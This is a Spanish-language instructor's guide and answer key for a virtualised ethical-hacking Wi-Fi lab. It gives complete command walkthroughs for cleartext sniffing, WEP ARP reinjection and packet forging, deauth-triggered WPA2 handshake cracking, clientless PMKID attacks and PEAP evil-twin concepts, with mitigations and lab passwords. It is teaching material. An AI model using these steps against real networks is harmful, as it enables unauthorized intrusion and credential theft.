Guía del profesor — Laboratorio Wi-Fi (Hacking Ético)

> **DOCUMENTO SOLO PARA EL PROFESOR.** Contiene las claves y la resolución completa de cada escenario. No lo repartas al alumnado: ellos tienen `guia_alumno.md`.

> **Entorno 100 % virtualizado.** Todas las radios son simuladas con `mac80211_hwsim` y aisladas en *network namespaces*. No hay emisión por radio real: las prácticas solo funcionan contra los APs de este laboratorio. **Uso exclusivamente educativo y en el aula.** Atacar redes reales sin autorización expresa por escrito es ilegal (en España, arts. 197 bis y 264 del Código Penal).

---

0. Puesta en marcha

```
sudo ./despliegue.sh
```

El script instala lo que falte (`hostapd`, `hcxtools`, `pocl-opencl-icd`, `ocl-icd-libopencl1`), levanta los 6 escenarios y, al terminar, imprime el **SSID, canal y BSSID real** de cada uno (las claves no se muestran). Los BSSID cambian en cada despliegue. Las interfaces de trabajo del alumno son **`wlan0` … `wlan6`**.

Para desmontarlo todo: `sudo ./limpia.sh`.

Poner una interfaz en modo monitor

```
sudo airmon-ng start wlan0 <canal>   # crea wlan0mon
# o, a mano:
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
```

No uses `airmon-ng check kill`. El script ya excluye las radios virtuales de NetworkManager, así que no hay nada que matar. Además, `ip netns exec` no aísla PIDs: `check kill` mataría los `wpa_supplicant` de los clientes del lab y los escenarios se quedarían sin tráfico (hay que volver a desplegar). `airmon-ng start` mostrará esos procesos como "could cause trouble": es solo un aviso y se puede ignorar.

Localizar objetivos y fijar canal

```
# Barrido general: anota BSSID y canal (CH)
sudo airodump-ng wlan0

# Fijar la interfaz al canal del objetivo (ej. canal 11)
sudo iw dev wlan0 set channel 11
```

Soluciones

SSID	Ch	Seguridad	Objetivo didáctico	Solución
`he_open`	1	Abierta	Sniffing de tráfico en claro (HTTP POST)	`user=admin&pass=SecretPass2026`
`he_wep`	9	WEP-104	Recolección de IVs + reinyección ARP	`ilovemyfamily` (hex `69:6C:6F:76:65:6D:79:66:61:6D:69:6C:79`)
`he_wpa2`	6	WPA2-PSK	Captura del handshake 4-way + crackeo	`chocolate`
`he_pmkid`	11	WPA2-PSK	PMKID **con** clientes asociados	`dragonfly`
`he_pmkid_nc`	4	WPA2-PSK	PMKID **sin** clientes (*clientless*)	`marshmallow`
`he_enterprise`	3	WPA2-EAP	EAP-PEAP / captura de reto MSCHAPv2	Identidad `student_user@domain.lab` · tipo EAP 25 (PEAP)

Las tres claves WPA2 están en `rockyou.txt`. El password interno del cliente Enterprise (`EnterprisePass2026`) **no** es un objetivo de la práctica: el alumno solo debe identificar la identidad en claro y el método EAP.

---

1. `he_open` — Red abierta (tráfico en claro)

Un cliente envía un POST de login en bucle. El objetivo es demostrar que en una red sin cifrado las credenciales viajan legibles.

```
sudo iw dev wlan0 set channel 1
sudo airodump-ng -c 1 --bssid <BSSID_OPEN> -w cap_open wlan0
# En otra terminal, filtrar el POST en la captura:
tshark -r cap_open-01.cap -Y 'http.request.method == "POST"' -T fields -e http.file_data
```

Resultado esperado: `user=admin&pass=SecretPass2026`.

Aprendizaje: cualquiera en la misma red abierta ve las credenciales.

Fundamento técnico

- **No hay cifrado en la capa de enlace.** En una red abierta el cuerpo de las tramas de datos 802.11 viaja tal cual: cabecera LLC/SNAP, IP, TCP y HTTP.
- **El medio es compartido.** Una interfaz en **modo monitor** entrega al sistema todas las tramas del canal, vayan dirigidas a ella o no (no filtra por `addr1`). No hace falta asociarse ni "atacar" nada: basta escuchar.
- **Lo que se explota es la ausencia de cifrado extremo a extremo.** El formulario se envía por HTTP, así que usuario y contraseña van legibles en el cuerpo del POST. Con HTTPS (TLS) se vería el tráfico, pero no su contenido.
- **Mitigación:** TLS en las aplicaciones (HTTPS, HSTS) y, en la red, **OWE / Wi-Fi Enhanced Open** (WPA3), que cifra cada cliente con una clave propia negociada por Diffie-Hellman sin necesidad de contraseña.

---

2. `he_wep` — WEP (IVs + reinyección ARP)

Dos clientes generan ARP broadcast en bucle, ideal para la reinyección. Basta una sola interfaz en monitor para capturar e inyectar.

```
# Monitor en el canal 9 (sin 'check kill')
sudo airmon-ng start wlan0 9

BSSID=<BSSID_WEP>

# 1. Capturar IVs (terminal 1, dejar corriendo)
sudo airodump-ng -c 9 --bssid $BSSID -w cap_wep wlan0mon
#    Anotar la MAC de un cliente de la lista STATION (p. ej. 02:00:00:00:13:00)
CLIENT=<MAC_CLIENTE>

# 2. Reinyección ARP suplantando al cliente (terminal 2)
sudo aireplay-ng -3 -b $BSSID -h $CLIENT wlan0mon
#    Si se reinicia, reutilizar el ARP ya capturado:
#    sudo aireplay-ng -3 -b $BSSID -h $CLIENT -r replay_arp-*.cap wlan0mon

# 3. Crackear en paralelo (terminal 3); reintenta solo cada 5000 IVs
aircrack-ng -b $BSSID cap_wep-*.cap
#    Si PTW no lo consigue: aircrack-ng -K -n 128 -b $BSSID cap_wep-*.cap
```

Resultado esperado: `KEY FOUND! [ 69:6C:6F:76:65:6D:79:66:61:6D:69:6C:79 ] (ASCII: ilovemyfamily)` (con WEP-104, normalmente entre 20.000 y 80.000 IVs).

Fundamento técnico

Cómo cifra WEP cada paquete. WEP usa el cifrador de flujo **RC4**. La clave de cada paquete se construye pegando un **IV** (vector de inicialización, 24 bits) delante de la clave compartida:

```
clave RC4 del paquete = IV (24 bits, viaja EN CLARO) ‖ clave WEP (40 o 104 bits)
keystream             = RC4(IV ‖ clave WEP)
ICV                   = CRC32(datos)
cifrado               = (datos ‖ ICV) ⊕ keystream
trama                 = cabecera 802.11 ‖ IV ‖ KeyID ‖ cifrado
```

El receptor lee el IV de la cabecera, lo pega a la clave que ya conoce, regenera el mismo keystream y hace XOR para descifrar.

Qué se explota:

1. **Los primeros bytes de la clave RC4 de cada paquete son públicos.** El IV ocupa los 3 primeros bytes y viaja en claro. El algoritmo de inicialización de RC4 (KSA) tiene correlaciones estadísticas entre los bytes de la clave y los primeros bytes del keystream:
   - **FMS (2001):** solo los IV "débiles" filtraban información; hacían falta millones de paquetes.
   - **KoreK (2004):** más correlaciones; cientos de miles de IVs. Es el modo `-K` de aircrack-ng.
   - **PTW (2007):** basado en la correlación de Klein; sirve **cualquier** IV. Con WEP-104, ~40.000 paquetes dan un 50 % de éxito y ~85.000 un 95 %. Es el modo por defecto de aircrack-ng.
2. **Hay texto plano conocido para obtener el keystream.** El ataque necesita los primeros bytes del keystream de cada paquete, y keystream = cifrado ⊕ texto plano. Los paquetes ARP empiezan siempre igual: LLC/SNAP `AA AA 03 00 00 00 08 06` más la cabecera ARP `00 01 08 00 06 04 00 01`. Por eso PTW usa ARP: de cada uno se obtienen unos 16 bytes de keystream, cada paquete "vota" por el valor de cada byte de la clave y, con suficientes votos, la clave cae.
3. **No hay protección contra repetición.** WEP no lleva contador ni número de secuencia criptográfico: un paquete cifrado capturado es válido para siempre. El atacante reinyecta el mismo ARP una y otra vez. El AP lo acepta y lo retransmite en broadcast **cifrado con un IV nuevo**, y cada retransmisión es una muestra más para PTW. Esto es lo que hace `aireplay-ng -3`: pasar de unos pocos IVs por segundo a cientos.
4. **El IV es demasiado corto.** Con 24 bits solo hay 16,7 millones de IVs y, por la paradoja del cumpleaños, hay un 50 % de probabilidad de repetir uno a los ~5.000 paquetes. Mismo IV implica mismo keystream, y C1 ⊕ C2 = P1 ⊕ P2.
5. **La integridad es lineal y no lleva clave.** CRC32 no es un MAC: se pueden modificar bits del cifrado y recalcular el ICV sin conocer la clave (*bit-flipping*). Es la base de chopchop.
6. **La clave es estática y compartida.** Todos los clientes usan la misma clave, que no rota nunca.

Por qué no importa lo robusta que sea la clave. El ataque es estadístico, no de diccionario: no prueba contraseñas, sino que deduce cada byte de la clave a partir de las correlaciones. `ilovemyfamily` o 13 bytes aleatorios caen con el mismo número de IVs.

Fundamento del plan B (sin un ARP capturado):

- **Fragmentación (`-5`).** De cualquier paquete se conocen los 8 primeros bytes en claro (LLC/SNAP), así que se obtienen 8 bytes de keystream. 802.11 permite partir un paquete en hasta 16

fragmentos, y cada uno se puede cifrar con ese mismo keystream. El AP reensambla los fragmentos y retransmite el paquete completo con un IV nuevo. Como el atacante conoce lo que ha enviado, obtiene un keystream más largo, y repitiendo llega hasta ~1500 bytes.
- **Chopchop (`-4`).** Se quita el último byte de un paquete cifrado, se prueba cada uno de los 256 valores posibles y se corrige el ICV aprovechando la linealidad de CRC32. El AP descarta los ICV incorrectos y solo acepta el correcto, así que actúa de **oráculo**: se descifra el paquete byte a byte.
- **`packetforge-ng`.** Con un keystream y su IV se puede cifrar cualquier paquete: `(ARP ‖ CRC32(ARP)) ⊕ keystream`. Así se fabrica un ARP válido para reinyectar.

Mitigación: no hay ninguna dentro de WEP: está roto por diseño. Hay que usar WPA2 o WPA3.

Por qué `-h` con la MAC de un cliente y no fake auth (`-1`)

En un AP real se haría `aireplay-ng -1` (fake auth) y se inyectaría con la MAC propia. En `mac80211_hwsim` **no funciona**: el simulador solo genera ACK para interfaces activas, y una interfaz en monitor no lo es. El AP no recibe el ACK de la *Association Response*, hostapd no da por asociada la estación y descarta los ARP inyectados (aireplay muestra `got a deauth/disassoc packet`).

Síntoma típico: aireplay envía miles de paquetes, pero `#Data` en airodump apenas sube (2-3/s). Comprobación desde el host:

```
sudo ip netns exec ns_ap_wep iw dev wlan_ap_wep station dump | grep Station
# Solo aparecen los dos clientes reales, no la MAC de wlan0mon
```

Suplantando a un cliente ya asociado, el AP acepta los ARP y los retransmite con IVs nuevos: `#Data` sube a cientos por segundo.

La columna `Lost` de airodump

Con la reinyección, la estación suplantada muestra muchos `Lost`. No son paquetes perdidos: airodump calcula `Lost` por saltos en el número de secuencia, y el cliente real y aireplay emiten con la misma MAC y secuencias distintas. Se ignora; lo que importa es que `#Data` suba.

Plan B: sin ARP capturado (forjar uno)

Si `-3` no llega a capturar ningún ARP, se obtiene el keystream de cualquier paquete de datos y se forja un ARP:

```
# Keystream: fragmentación (si falla, chopchop con -4 -> replay_dec-*.xor)
sudo aireplay-ng -5 -b $BSSID -h $CLIENT wlan0mon          # -> fragment-*.xor

packetforge-ng -0 -a $BSSID -h $CLIENT -k 255.255.255.255 -l 255.255.255.255 \
               -y fragment-*.xor -w arp_forjado.cap

sudo aireplay-ng -2 -r arp_forjado.cap wlan0mon              # responder "y"
```

---

3. `he_wpa2` — Handshake 4-way + crackeo offline

Hay dos clientes asociados.

a) Capturar el handshake

```
sudo iw dev wlan0 set channel 6
sudo airodump-ng -c 6 --bssid <BSSID_WPA2> -w cap_wpa2 wlan0
```

b) Forzar reconexión con un deauth (desde otra terminal)

```
sudo iw dev wlan1 set type monitor && sudo ip link set wlan1 up
sudo iw dev wlan1 set channel 6
sudo aireplay-ng -0 3 -a <BSSID_WPA2> wlan1
```

Cuando airodump muestre `WPA handshake: <BSSID>` arriba a la derecha, ya lo tienes.

c) Crackear

```
# Con aircrack-ng
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b <BSSID_WPA2> cap_wpa2-01.cap

# O con hashcat (modo 22000)
hcxpcapngtool -o hash_wpa2.22000 cap_wpa2-01.cap
hashcat -m 22000 hash_wpa2.22000 /usr/share/wordlists/rockyou.txt
```

Resultado esperado: `chocolate`.

Fundamento técnico

Derivación de claves. La contraseña nunca viaja por la red. A partir de ella se deriva la **PMK**, y en cada conexión se deriva de la PMK una clave temporal, la **PTK**:

```
PMK = PBKDF2-HMAC-SHA1(passphrase, SSID, 4096 iteraciones, 256 bits)
PTK = PRF-512(PMK, "Pairwise key expansion",
              min(MAC_AP,MAC_STA) ‖ max(MAC_AP,MAC_STA) ‖
              min(ANonce,SNonce)  ‖ max(ANonce,SNonce))
KCK = primeros 128 bits de la PTK      (clave para el MIC)
```

Handshake 4-way:

Mensaje	Sentido	Contenido relevante
M1	AP → STA	ANonce (en claro)
M2	STA → AP	SNonce (en claro) + **MIC** = HMAC-SHA1(KCK, trama M2)
M3	AP → STA	GTK cifrada + MIC
M4	STA → AP	Confirmación + MIC

Qué se explota:

- **Todo lo que entra en el cálculo, salvo la contraseña, viaja en claro:** SSID, MACs, ANonce, SNonce y la propia trama M2. El **MIC funciona como un verificador de la contraseña**. Para cada candidata del diccionario se calcula PMK → PTK → KCK → MIC; si coincide con el capturado, la contraseña es esa. Es un ataque **offline**: no hay que hablar con el AP ni hay límite de intentos. Basta con M1 + M2 (o M2 + M3).
- **Las tramas de gestión no van autenticadas.** Sin 802.11w (PMF), un deauth con la MAC del AP falsificada desconecta al cliente. Este se reconecta solo y repite el handshake delante del atacante. Por eso funciona `aireplay-ng -0`.
- **Contraste con WEP:** aquí no hay debilidad criptográfica, solo fuerza bruta. PBKDF2 con 4096 iteraciones hace cada intento caro. Con una contraseña larga y aleatoria el ataque es inviable; solo caen las contraseñas débiles o de diccionario (`chocolate` está en `rockyou.txt`).
- **El SSID actúa como sal:** las tablas precalculadas solo sirven para un SSID concreto. Por eso los SSID por defecto o muy comunes son más vulnerables.

Mitigación: contraseña larga y aleatoria; **WPA3-SAE** (el intercambio *Dragonfly* no deja material para un ataque de diccionario offline y aporta *forward secrecy*); **PMF (802.11w)** contra los deauth falsificados.

---

4. `he_pmkid` — PMKID con clientes

Hay una estación asociada generando tráfico. Sirve para contrastar las **dos vías**: capturar el PMKID (campo del M1) o el handshake 4-way tras un deauth.

```
sudo iw dev wlan0 set channel 11

# Opción recomendada: hcxdumptool captura PMKID y handshakes a la vez
sudo hcxdumptool -i wlan0 -w pmkid_cli.pcapng --rds=1
# (Ctrl-C tras unos segundos)

# Extraer el hash 22000 (contiene líneas WPA*01=PMKID y WPA*02=handshake)
hcxpcapngtool -o hash_pmkid.22000 pmkid_cli.pcapng

# Crackear
hashcat -m 22000 hash_pmkid.22000 /usr/share/wordlists/rockyou.txt
```

Resultado esperado: `dragonfly`.

Fundamento técnico

- **Qué es el PMKID.** Es un identificador de la PMK pensado para el *roaming* y la caché de PMK (802.11i/r, OKC). Si el cliente vuelve a un AP que ya conoce su PMK, ambos la identifican por el PMKID y se ahorran repetir la autenticación completa. El AP lo incluye en el campo *Key Data* (RSN IE) del **M1**:

  ```
  PMKID = HMAC-SHA1-128(PMK, "PMK Name" ‖ MAC_AP ‖ MAC_STA)
  ```

- **Qué se explota.** Como el MIC del handshake, el PMKID es un **verificador de la contraseña** calculado con datos públicos (las dos MACs) y la PMK. Para cada candidata se calcula PMK → HMAC y se compara. El coste es el mismo que con el handshake (PBKDF2), pero basta **una sola trama (M1)**, enviada por el AP, en vez de M1 + M2. Lo descubrió Jens Steube (hashcat) en 2018.
- **Dos vías en este escenario.** Hay un cliente asociado, así que se puede conseguir el PMKID (asociándose uno mismo) o el handshake (deauth al cliente). hashcat las distingue en el formato 22000: `WPA*01` = PMKID, `WPA*02` = handshake.
- **Nota del lab:** el hostapd de serie no incluye el PMKID en el M1 con WPA-PSK. Por eso los escenarios PMKID usan un hostapd parcheado (`compila_hostapd_pmkid.sh`), que reproduce el comportamiento de muchos routers comerciales.

---

5. `he_pmkid_nc` — PMKID **sin** clientes (***clientless***)

No hay ninguna estación asociada **a propósito**. Es el caso que demuestra por qué el PMKID es peligroso: el AP incluye el PMKID en el **primer mensaje (M1)** del 4-way durante la asociación, así que **no hace falta ningún cliente**: basta con provocar uno mismo la asociación para que el AP emita ese M1.

```
sudo iw dev wlan0 set channel 4

# hcxdumptool fuerza la asociación contra el AP y recoge el PMKID solo
sudo hcxdumptool -i wlan0 -w pmkid_nc.pcapng --rds=1
# No aparecerá ningún cliente en airodump: el PMKID llega igual.

# Extraer y crackear
hcxpcapngtool -o hash_nc.22000 pmkid_nc.pcapng
hashcat -m 22000 hash_nc.22000 /usr/share/wordlists/rockyou.txt
```

Resultado esperado: `marshmallow`.

Comparación (respuesta a la pregunta de la guía del alumno):

	`he_pmkid`	`he_pmkid_nc`
Cliente conectado	Sí	No
¿Hace falta esperar/deauth a un cliente?	Opcional	**No**
Material obtenible	PMKID **y** handshake	Solo PMKID
Lección	Dos vías de ataque	El PMKID no depende de clientes

Fundamento técnico

- Se aplica la misma fórmula que en el escenario anterior: `PMKID = HMAC-SHA1-128(PMK, "PMK Name" ‖ MAC_AP ‖ MAC_STA)`. Con PSK, la `MAC_STA` puede ser **la del atacante**: el PMKID no depende de ningún cliente legítimo. Cualquiera que se asocie recibe un M1 con un PMKID válido para su propia MAC.
- **Qué se explota.** El AP envía el M1 **antes** de que el cliente haya demostrado conocer la clave: el atacante no necesita la contraseña para provocarlo, ni tiene que enviar nunca un M2. Por eso el ataque es *clientless* y más sigiloso: no hay deauth ni hay que esperar a nadie.
- **Contraste con el handshake clásico.** Sin clientes, el ataque al 4-way es imposible, porque nadie genera el M2 con el MIC. Con PMKID, un AP vacío sigue siendo atacable.
- **Mitigación:** igual que en WPA2-PSK (contraseña robusta, WPA3-SAE) y desactivar la caché de PMK / el PMKID en PSK si el fabricante lo permite.

---

6. `he_enterprise` — WPA2-EAP (PEAP/MSCHAPv2)

```
sudo iw dev wlan0 set channel 3
sudo airodump-ng -c 3 --bssid <BSSID_ENT> -w cap_ent wlan0
```

Objetivo: observar el intercambio EAP-PEAP y comentar el vector de **Evil Twin / RADIUS falso** (`hostapd-wpe`) para capturar el challenge/response MSCHAPv2 y crackearlo con `asleap`. En este laboratorio basta con identificar la identidad y el tipo de EAP en la captura:

```
tshark -r cap_ent-01.cap -Y eap -T fields -e eap.identity -e eap.type
```

Resultado esperado: identidad `student_user@domain.lab` (viaja en claro en la fase externa) y tipo EAP 25 = PEAP.

Fundamento técnico

- **No hay una clave compartida que crackear.** En 802.1X cada usuario se autentica con sus credenciales contra un servidor RADIUS. La PMK se deriva de la sesión TLS (MSK) y es distinta para cada usuario y conexión. Capturar el handshake 4-way no sirve: la PMK no sale de ninguna contraseña común.
- **Fuga 1: la identidad externa.** El `EAP-Response/Identity` se envía **antes** de montar el túnel TLS, así que el usuario viaja en claro. Es lo que se obtiene en este lab. Mitigación: identidad externa

anónima (`anonymous@dominio`).

- **Fuga 2: PEAP depende de que el cliente valide el certificado del servidor.** PEAP monta un túnel TLS autenticado solo con el certificado del RADIUS, y dentro va MSCHAPv2. Si el cliente no valida el certificado (o el usuario acepta el aviso), un **Evil Twin** con `hostapd-wpe` (RADIUS falso) completa el TLS con su propio certificado, y el cliente le entrega el reto y la respuesta MSCHAPv2.
- **Debilidad de MSCHAPv2.** Hash NT = MD4(UTF-16LE(contraseña)). La respuesta se calcula cifrando con DES el reto de 8 bytes con tres trozos de 7 bytes del hash NT; el tercero solo tiene 2 bytes reales. Esto permite:
  - un ataque de diccionario offline (`asleap`, `hashcat -m 5500`);
  - reducirlo a **un solo DES** (2^56) y recuperar el hash NT sea cual sea la contraseña. Ese hash ya sirve para *pass-the-hash*.
- **Mitigación:** forzar la validación del certificado en los clientes (CA fijada y nombre del servidor), identidad anónima y, mejor aún, **EAP-TLS** con certificado de cliente (sin contraseña que robar).

Mantenimiento: cambiar las claves

- **WPA2:** las claves se guardan como PMK (64 hex) en `despliegue.sh`, en el `hostapd.conf` y en el `wpa.conf` de cada escenario. La PMK depende del SSID, así que se calcula para cada red:

  ```
  ./calculaPMK.py he_wpa2 <nueva_clave>
  ```

  Usa palabras de `rockyou.txt` de 8 a 63 caracteres.

- **WEP:** `wep_key0` en hex. Solo admite 5 o 13 caracteres ASCII (10 o 26 hex):

  ```
  printf 'ilovemyfamily' | od -An -tx1 | tr -d ' \n'
  ```

Tras cambiar una clave, actualiza la tabla de soluciones de esta guía.

Verificación y apagado

```
# Ver APs y namespaces activos
ip netns list
sudo ip netns exec ns_ap_pmkid_nc iw dev

# Apagar todo el laboratorio
sudo ./limpia.sh
```

Herramientas usadas

- **aircrack-ng suite** (`airmon-ng`, `airodump-ng`, `aireplay-ng`, `aircrack-ng`)
- **hcxdumptool / hcxpcapngtool** (captura y conversión de PMKID/handshake)
- **hashcat** (modo `22000` = WPA-PBKDF2-PMKID+EAPOL), en CPU mediante PoCL
- **tshark** (análisis de capturas)